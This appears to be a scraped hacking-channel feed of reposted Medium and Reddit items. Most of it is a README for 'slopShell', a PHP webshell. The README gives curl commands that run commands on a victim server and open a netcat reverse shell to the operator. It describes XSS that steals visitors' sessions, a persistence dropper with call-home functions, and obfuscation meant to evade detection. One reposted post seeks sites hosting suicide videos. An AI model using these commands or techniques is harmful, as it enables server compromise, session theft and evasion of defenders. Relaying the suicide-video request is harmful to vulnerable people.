Hacking on Medium
COMO LOCALIZAR UN DISPOSITIVO MÓVIL

https://cdn-images-1.medium.com/max/1111/0*REBpd_DAWpm-9SM7.png
INTRODUCCIÓN

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
we’re going to be covering a new training course called growth hacking unlocked, where I teach you…

https://cdn-images-1.medium.com/max/2600/1*ZIsvZXYMCVSXoqpmMSHerQ.jpeg
•want to learn more about the growth of hacking unlocked go and check out this link below 👇its free of cost.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
suicide

Does anyone know tor sites where people send suicideo videos?
I found one on google long time ago but I dont remember

submitted by /u/ChocoStick123
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
VPN vs VPS

Whilst not directly about hacking.

I wanted to understand, if it would be safer and more private to set up on own VPN through a VPS.

Was planning on starting a service for my friends and acquaintances.

Would you recommended this?

I'll be making the code open source, with absolutely no data logging.

Any advice is greatly appreciated!

submitted by /u/Fit_Potato101
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What OS should I install on my old iMac ?

Hello!

I got my hands on a slightly older iMac, but still useful to me. It's a 21.5-inch, Late 2009 with High Sierra, newer OS no longer supports; it has a 3GHz processor and 8GB RAM, the hard drive is a bit squeaky. I don't really like the fact that due to the older operating system I can't install the latest programs, and I was thinking of installing Windows or Ubuntu. Which do you think would work best?

submitted by /u/crh10001
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Researchers Demonstrate 2 New Hacks to Modify Certified PDF Documents

https://external-preview.redd.it/vXYSt-dCwUirz3H5_nhOm7fgDcmiaiH8Le-EvGvkixQ.jpg?width=640&crop=smart&auto=webp&s=0a22d25c3f414e808a7d393f8defd496bac65b98 submitted by /u/CodePerfect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

slopShell - The Only Php Webshell You Need
http://www.kitploit.com/2021/05/slopshell-only-php-webshell-you-need.html

___________________________
@hacking_Attack
@Hacking_Video

The issue with this detection happening is i have not found a viable workaround for the keyword of eval if there was no call to eval this script would be undetectable.
Setup
Ok, so here we go folks, there was an itch I had to write something in PHP so this is it. This webshell has a few bells and whistles, and more are added everyday. You will need a pgsql server running that you control. However you implement that is on you. Debian: apt install -y postgresql (https://www.kitploit.com/search/label/PostgreSQL) php php-pear && python -m pip install proxybroker --user RHEL Systems: dnf -y -b install postgresql-server postgresql php php-pear && python -m pip install proxybroker --user WIN: install the php msi, and make sure you have an active postgresql server that you can connect to running somewhere. figure it out. Once you have these set up properly and can confirm that they are running. A command I would encourge using is with pg_ctl you can create the DB that way, or at least init it and start it. Then all the db queries will work fine.
How to interact.
Firstly, you need to choose a valid User-Agent to use, this is kind of like a first layer of protection (https://www.kitploit.com/search/label/Protection) against your webshell being accidentally stumbled upon by anyone but you. I went with sp/1.1 as its a non typical user-agent used. This can cause red flags in a pentest, and your access or script to be blocked or deleted. So, be smart about it. Code obfuscation (https://www.kitploit.com/search/label/Obfuscation) wouldnt hurt, I did not add that in because thats on you to decide. To use the shell, there are some presets to aid you in your pen test and traversal of the machine. I did not add much for windows, because I do not like developing for windows. If you have routines or tricks added or know about, feel free to submit an issue with your suggestion and ill add it. An example of how to use this webshell with curl: curl https://victim/slop.php?qs=cqP -H "User-Agent: sp/1.1" -v or to execute custom commands: curl https://victim/slop.php --data "commander=id" -H "User-Agent: sp/1.1" -v Or to attempt to establish a reverse shell to your machine: curl https://victim/slop.php --data "rcom=1&mthd=nc&rhost=&rport=&shell=sh" -H "User-Agent: sp/1.1" -v mthd = the method you want to use to establish the reverse shell, this is predefined in the $comma array, feel free to add to it, optional, if it is null, the script will choose for you. rhost = you, now this and the rport are not required, as it defaults to using netcat with the ip address in the $_SERVER["REMOTE_ADDR"] php env variable. rport = your listener (https://www.kitploit.com/search/label/Listener) port, the default was set to 1634, just because. shell = the type of system shell you want to have. I know bash isnt standard on all systems, but thats why its nice for you to do some system recon before you try to execute this command. Here is the better part of this shell. If someone happens upon this shell without supplying the exact user agent string specified in the script, this shell will produce a 500 error with a fake error page then it will attempt some XSS to steal that users session information and sends it back to a handler script on your server/system. This will then attempt to store the information in a running log file. If it is unable to do so, well the backup is your logs. Once the XSS has completed, this shell will redirect the user back to the root(/) of the webserver. So, youll steal sessions if someone finds this, can even beef it up to execute commands on the server on behalf of the user, or drop a reverse shell on the users browser through Beef or another method. The possibilities are legit endless.
Images of use cases

___________________________
@hacking_Attack
@Hacking_Video

In browser, navigated to without the proper user-agent string. (1st level of auth)

___________________________
@hacking_Attack
@Hacking_Video

Use in the terminal, which is how this was designed to work, using curl with the -vH "User-Agent: sp1.1" switches.

___________________________
@hacking_Attack
@Hacking_Video

Obfuscated script example:

___________________________
@hacking_Attack
@Hacking_Video

Generation 2 obfuscated script:

___________________________
@hacking_Attack
@Hacking_Video

Interacting through the client script
Once the client script is complete, you as the operator will not need to interact though curl to utilize this shell. There will be a client script that you can use to execute all commands/control over. In addition to this client script, there is a dropper. This dropper will ensure the script is run at start up even if the website is removed. Including some call home functions, obfuscation if it is requested on a level from 1 to 3, with 3 being the highest as every function will be rot ciphered and then encoded in base64 within the whole file being base64 encoded with a random name assigned to the file itself. This can help avoid signature detection.
Encryption
Once the encryption (https://www.kitploit.com/search/label/Encryption) routine is fully worked out, the dropper script will be encrypted, and highly obfuscated. Example output: also a test 123 [key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e [encrypted] => meIHs/y6_U7U~7(M [base64_Encoded] => bWVJSAAdcw4veTZfVQU3VX43KE0= ) Decrypt Test: Array ( [key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e [encrypted] => meIHs/y6_U7U~7(M [decrypted] => YWxzbyBhIHRlc3QgMTIz [base64_decoded] => also a test 123 [original] => also a test 123 ) ">Base64 decoded: also a test 123
Re-Encoded: YWxzbyBhIHRlc3QgMTIz
Key: 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
Key Length: 96
Encryption Result:
Array
(
[original] => also a test 123
[key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
[encrypted] => meIHs/y6_U7U~7(M
[base64_Encoded] => bWVJSAAdcw4veTZfVQU3VX43KE0=
)
Decrypt Test:
Array
(
[key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
[encrypted] => meIHs/y6_U7U~7(M
[decrypted] => YWxzbyBhIHRlc3QgMTIz
[base64_decoded] => also a test 123
[original] => also a test 123
)

Additional
This was going to remain private. But I decided otherwise. Do not abuse this shell, and get a signature attached to it, this is quite stealthy right now since its brand new. I as the maintainer, am in no way responsible for the misuse of this product. This was published for legitmate penetration testing/red teaming purposes, and/or for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day. If you have enjoyed this script, its is obligatory that you follow me and throw a star on this repo... because future editions will have more features(or bugs) depending on how you look at it.

Download slopShell (https://github.com/oldkingcone/slopShell)

___________________________
@hacking_Attack
@Hacking_Video

CafeBazaar and Subdomain Takeover

Subdomain TakeOver vulnerabilities: Here we address the basic issues of the Subdomain Takeover vulnerability and examine how this…Continue reading on Medium »
Read more...